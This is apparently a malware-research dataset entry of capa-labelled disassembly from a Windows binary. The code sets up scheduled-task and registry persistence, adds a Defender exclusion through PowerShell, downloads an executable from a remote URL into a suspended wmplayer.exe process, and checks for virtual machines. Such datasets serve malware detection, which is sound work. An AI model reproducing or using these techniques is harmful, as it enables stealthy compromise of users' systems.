joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003600
Capabilities:
Copy file
Create process on windows
Schedule task via schtasks

Disassembly:
sub rsp, 0x2f8
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
mov r8d, 0x104
lea rdx, [rsp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.C:WindowsSystem32SecureCheck.exe
lea rcx, [rsp + 0x110]
call fcn.14000a2e0
nop
lea rcx, [rsp + 0x110]
call fcn.14000f5c0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140003836
lea rdx, str.SecureCheckTask
lea rcx, [rsp + 0x150]
call fcn.14000a2e0
nop
lea r8, [rsp + 0x150]
lea rdx, str.SCHTASKS__CREATE__TN__
lea rcx, [rsp + 0x1b0]
call fcn.140006790
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea r8, str.___TR__
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x190]
call fcn.140006660
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x110]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x170]
call fcn.140006600
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
lea r8, str.___SC_ONLOGON__RL_HIGHEST__F
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x130]
call fcn.140006660
nop
lea rcx, [rsp + 0x170]
call fcn.14000b540
nop
lea rcx, [rsp + 0x190]
call fcn.14000b540
nop
lea rcx, [rsp + 0x1b0]
call fcn.14000b540
nop
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.140034690
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140034690
mov dword [rsp + 0xa0], WSAGetLastError
mov dword [rsp + 0xdc], 1
xor eax, eax
mov word [rsp + 0xe0], ax
lea rcx, [rsp + 0x130]
call fcn.14000f5c0
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000381a
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x130]
call fcn.14000b540
nop
lea rcx, [rsp + 0x150]
call fcn.14000b540
nop
lea rcx, [rsp + 0x110]
call fcn.14000b540
nop
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.140015340
add rsp, 0x2f8
ret
Function at 0x140003870
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
lea rax, str.SOFTWARE_BMconfig_startup
mov qword [rsp + 0x68], rax
lea rax, str.Persistence
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140003928
mov rcx, qword [rsp + 0xa0]
call fcn.140011600
inc rax
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0xa0]
call fcn.14000f5c0
mov rcx, qword [rsp + 0x80]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x78], eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x1400039e1
cmp dword [rsp + 0x50], 2
jne 0x1400039e1
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jne 0x1400039e1
mov rcx, qword [rsp + 0xa0]
call fcn.140011600
inc rax
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0xa0]
call fcn.14000f5c0
mov rcx, qword [rsp + 0x88]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x7c], eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
add rsp, 0x98
ret

Function at 0x1400039f0
Capabilities:
Copy file

Disassembly:
sub rsp, 0x168
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.C:WindowsSysWOW64_BM_SysWOW.exe
lea rcx, [rsp + 0x20]
call fcn.14000a2e0
nop
lea rcx, [rsp + 0x20]
call fcn.14000f5c0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140003a58
lea rcx, [rsp + 0x20]
call fcn.140003870
nop
lea rcx, [rsp + 0x20]
call fcn.14000b540
nop
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140015340
add rsp, 0x168
ret
Function at 0x140003a90
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
sub rsp, 0x108
lea rax, str.https:__pastesnap.com_sysAKA.exe
mov qword [rsp + 0x80], rax
lea rax, str.C:Program_Files__x86_Windows_Media_Playerwmplayer.exe
mov qword [rsp + 0x88], rax
lea rdx, [rsp + 0x7c]
mov rcx, qword [rsp + 0x80]
call fcn.140002dd0
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140003ad9
jmp 0x140003c76
mov rcx, qword [rsp + 0x50]
call fcn.140001e20
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
jne 0x140003b0a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
jmp 0x140003c76
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x90]
call fcn.140034690
mov dword [rsp + 0x90], WSAGetLastError
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140034690
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
jne 0x140003bab
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.1400020c0
nop
jmp 0x140003c76
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
cmp dword [rsp + 0x78], 0
jne 0x140003bd8
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.1400020c0
nop
jmp 0x140003c76
mov rcx, qword [rsp + 0x50]
call fcn.140002d80
test eax, eax
je 0x140003c0d
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140002620
test eax, eax
je 0x140003c0b
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140002150
nop
jmp 0x140003c76
jmp 0x140003c1f
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.1400020c0
nop
jmp 0x140003c76
cmp qword [rsp + 0x50], 0
je 0x140003c3e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
cmp qword [rsp + 0x60], 0
je 0x140003c52
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rsp + 0x58], 0
je 0x140003c76
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x108
ret
Function at 0x140003c90
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x268
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rdx, [rsp + 0xb0]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140003d04
lea rdx, str.WSAStartup_failed:
lea rcx, [0x14004ade0]
call fcn.1400060f0
mov edx, dword [rsp + 0x20]
mov rcx, rax
call fcn.14000baf0
lea rdx, [0x140009a00]
mov rcx, rax
call fcn.14000bee0
xor al, al
jmp 0x140003ebb
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140034690
mov dword [rsp + 0x5c], 2
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x64], 6
mov edx, dword [rsp + 0x278]
lea rcx, [rsp + 0x88]
call fcn.140012160
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call fcn.14000f5c0
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x270]
call fcn.14000f5c0
lea r9, [rsp + 0x28]
lea r8, [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x88]
call fcn.14000b540
nop
cmp dword [rsp + 0x20], 0
je 0x140003de4
mov ecx, dword [rsp + 0x20]
call fcn.140012450
mov qword [rsp + 0x50], rax
lea rdx, str.getaddrinfo_failed:
lea rcx, [0x14004ade0]
call fcn.1400060f0
mov rcx, qword [rsp + 0x50]
mov rdx, rcx
mov rcx, rax
call fcn.14000bf00
lea rdx, [0x140009a00]
mov rcx, rax
call fcn.14000bee0
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
jmp 0x140003ebb
mov rax, qword [rsp + 0x28]
mov r8d, dword [rax + 0xc]
mov rax, qword [rsp + 0x28]
mov edx, dword [rax + 8]
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x140003e5f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x38], eax
lea rdx, str.Failed_to_create_socket:
lea rcx, [0x14004ade0]
call fcn.1400060f0
mov ecx, dword [rsp + 0x38]
mov edx, ecx
mov rcx, rax
call fcn.14000baf0
lea rdx, [0x140009a00]
mov rcx, rax
call fcn.14000bee0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
jmp 0x140003ebb
mov rax, qword [rsp + 0x28]
mov r8d, dword [rax + 0x10]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
cmp dword [rsp + 0x20], 0xffffffff
jne 0x140003ea8
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
jmp 0x140003ebb
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov al, 1
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140015340
add rsp, 0x268
ret
Function at 0x140004c70
Capabilities:
Set registry value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x88
lea rax, str.SOFTWARE_BMconfigpid
mov qword [rsp + 0x70], rax
lea rax, str.explorer
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x54], eax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140004d0e
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x5c], eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x140004da3
cmp dword [rsp + 0x50], 2
jne 0x140004da3
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
jne 0x140004da3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
add rsp, 0x88
ret
Function at 0x140004dc0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
sub rsp, 0x118
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x100], rax
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionExtension_.exe_
lea rcx, [rsp + 0xe0]
call fcn.14000a2e0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140034690
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140034690
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rsp + 0xac], 0x101
xor eax, eax
mov word [rsp + 0xb0], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0xc8], rax
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0xe0]
call fcn.14000f5c0
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140004ebc
lea rcx, [rsp + 0xe0]
call fcn.14000b540
nop
jmp 0x140004f01
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0xe0]
call fcn.14000b540
nop
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.140015340
add rsp, 0x118
ret
Function at 0x140005070
Capabilities:
Get system firmware table

Disassembly:
push rsi
push rdi
sub rsp, 0x198
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x180], rax
lea rdx, [0x140037bb8]
lea rcx, [rsp + 0xb0]
call fcn.14000a2e0
nop
lea rdx, [0x140037bc0]
lea rcx, [rsp + 0xd0]
call fcn.14000a2e0
nop
lea rdx, str.QEMU
lea rcx, [rsp + 0xf0]
call fcn.14000a2e0
nop
lea rdx, str.Microsoft_Hyper_V
lea rcx, [rsp + 0x110]
call fcn.14000a2e0
nop
lea rdx, [0x140037bec]
lea rcx, [rsp + 0x130]
call fcn.14000a2e0
nop
lea rdx, str.Parallels
lea rcx, [rsp + 0x150]
call fcn.14000a2e0
nop
lea rcx, [rsp + 0x24]
call fcn.1400078b0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x170]
mov r8, rcx
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0xa0]
call fcn.14000a6d0
lea rcx, [rsp + 0x90]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x40]
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x78]
call fcn.14000a8e0
nop
lea r9, [fcn.14000b540]
mov r8d, 6
mov edx, 0x20
lea rcx, [rsp + 0xb0]
call fcn.140014e6c
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
jne 0x1400051c0
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x78]
call fcn.14000b6b0
movzx eax, byte [rsp + 0x20]
jmp 0x1400052e3
lea rcx, [rsp + 0x25]
call fcn.1400078b0
mov ecx, dword [rsp + 0x28]
mov r8, rax
mov edx, ecx
lea rcx, [rsp + 0x60]
call fcn.14000a890
nop
lea rcx, [rsp + 0x60]
call fcn.14000f0d0
mov r9d, dword [rsp + 0x28]
mov r8, rax
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
test eax, eax
jne 0x140005225
mov byte [rsp + 0x21], 0
lea rcx, [rsp + 0x60]
call fcn.14000b690
nop
lea rcx, [rsp + 0x78]
call fcn.14000b6b0
movzx eax, byte [rsp + 0x21]
jmp 0x1400052e3
lea rax, [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call fcn.14000f0d0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x38]
call fcn.14000f0f0
mov qword [rsp + 0x48], rax
jmp 0x14000525d
mov rax, qword [rsp + 0x30]
add rax, 0x20
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x48]
cmp qword [rsp + 0x30], rax
je 0x1400052c4
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.14000f5c0
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x60]
call fcn.14000f0d0
mov rcx, qword [rsp + 0x58]
mov rdx, rcx
mov rcx, rax
call fcn.140012070
test rax, rax
je 0x1400052c2
mov byte [rsp + 0x22], 1
lea rcx, [rsp + 0x60]
call fcn.14000b690
nop
lea rcx, [rsp + 0x78]
call fcn.14000b6b0
movzx eax, byte [rsp + 0x22]
jmp 0x1400052e3
jmp 0x14000524f
mov byte [rsp + 0x23], 0
lea rcx, [rsp + 0x60]
call fcn.14000b690
nop
lea rcx, [rsp + 0x78]
call fcn.14000b6b0
movzx eax, byte [rsp + 0x23]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.140015340
add rsp, 0x198
pop rdi
pop rsi
ret
Function at 0x140005550
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x168
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x40], 0x100
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.SystemBiosVersion
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
nop
lea rdx, [0x140037c5c]
lea rcx, [rsp + 0x50]
call fcn.140012070
test rax, rax
jne 0x1400055dc
lea rdx, [0x140037c68]
lea rcx, [rsp + 0x50]
call fcn.140012070
test rax, rax
je 0x1400055e0
mov al, 1
jmp 0x1400055e2
xor al, al
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140015340
add rsp, 0x168
ret

Function at 0x140005600
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x188
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov dword [rsp + 0x44], 0x100
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.DriverDesc
lea rdx, str.SYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002BE10318
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x1400056e2
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.14000a2e0
nop
xor r8d, r8d
lea rdx, str.Virtual
lea rcx, [rsp + 0x48]
call fcn.140011080
cmp rax, 0xffffffffffffffff
jne 0x1400056c1
xor r8d, r8d
lea rdx, str.VMware
lea rcx, [rsp + 0x48]
call fcn.140011080
cmp rax, 0xffffffffffffffff
jne 0x1400056c1
xor r8d, r8d
lea rdx, str.VirtualBox
lea rcx, [rsp + 0x48]
call fcn.140011080
cmp rax, 0xffffffffffffffff
je 0x1400056d7
mov byte [rsp + 0x40], 1
lea rcx, [rsp + 0x48]
call fcn.14000b540
movzx eax, byte [rsp + 0x40]
jmp 0x1400056e4
lea rcx, [rsp + 0x48]
call fcn.14000b540
nop
xor al, al
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140015340
add rsp, 0x188
ret
Function at 0x140005710
Capabilities:
Enumerate processes

Disassembly:
push rsi
push rdi
sub rsp, 0x3b8
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x3a0], rax
lea rdx, str.vmware.exe
lea rcx, [rsp + 0xb0]
call fcn.14000a630
nop
lea rdx, str.VBoxService.exe
lea rcx, [rsp + 0xd0]
call fcn.14000a630
nop
lea rdx, str.qemu.exe
lea rcx, [rsp + 0xf0]
call fcn.14000a630
nop
lea rdx, str.vboxmanage.exe
lea rcx, [rsp + 0x110]
call fcn.14000a630
nop
lea rdx, str.vboxtray.exe
lea rcx, [rsp + 0x130]
call fcn.14000a630
nop
lea rcx, [rsp + 0x23]
call fcn.1400078b0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x150]
mov r8, rcx
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x80]
call fcn.14000a6d0
lea rcx, [rsp + 0x70]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x40]
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x58]
call fcn.14000a960
nop
lea r9, [fcn.14000b570]
mov r8d, 5
mov edx, 0x20
lea rcx, [rsp + 0xb0]
call fcn.140014e6c
nop
xor edx, edx
mov ecx, 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x140005840
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x58]
call fcn.14000b6d0
movzx eax, byte [rsp + 0x20]
jmp 0x14000595e
mov dword [rsp + 0x160], 0x238
lea rdx, [rsp + 0x160]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000593e
lea rdx, [rsp + 0x18c]
lea rcx, [rsp + 0x90]
call fcn.14000a630
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call fcn.14000f0d0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x38]
call fcn.14000f0f0
mov qword [rsp + 0x48], rax
jmp 0x1400058b3
mov rax, qword [rsp + 0x30]
add rax, 0x20
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x48]
cmp qword [rsp + 0x30], rax
je 0x140005916
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.1400110e0
cmp rax, 0xffffffffffffffff
je 0x140005914
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov byte [rsp + 0x21], 1
lea rcx, [rsp + 0x90]
call fcn.14000b570
nop
lea rcx, [rsp + 0x58]
call fcn.14000b6d0
movzx eax, byte [rsp + 0x21]
jmp 0x14000595e
jmp 0x1400058a5
lea rcx, [rsp + 0x90]
call fcn.14000b570
nop
lea rdx, [rsp + 0x160]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140005865
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov byte [rsp + 0x22], 0
lea rcx, [rsp + 0x58]
call fcn.14000b6d0
movzx eax, byte [rsp + 0x22]
mov rcx, qword [rsp + 0x3a0]
xor rcx, rsp
call fcn.140015340
add rsp, 0x3b8
pop rdi
pop rsi
ret

Function at 0x14000a750
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.14000a700
nop
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret
Function at 0x14000c5c0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x14000c5e3
mov rcx, qword [rsp + 0x40]
call fcn.14000e8a0
nop
jmp 0x14000c5fb
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x14000c5fb
mov rcx, qword [rsp + 0x40]
call fcn.14000e6a0
nop
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret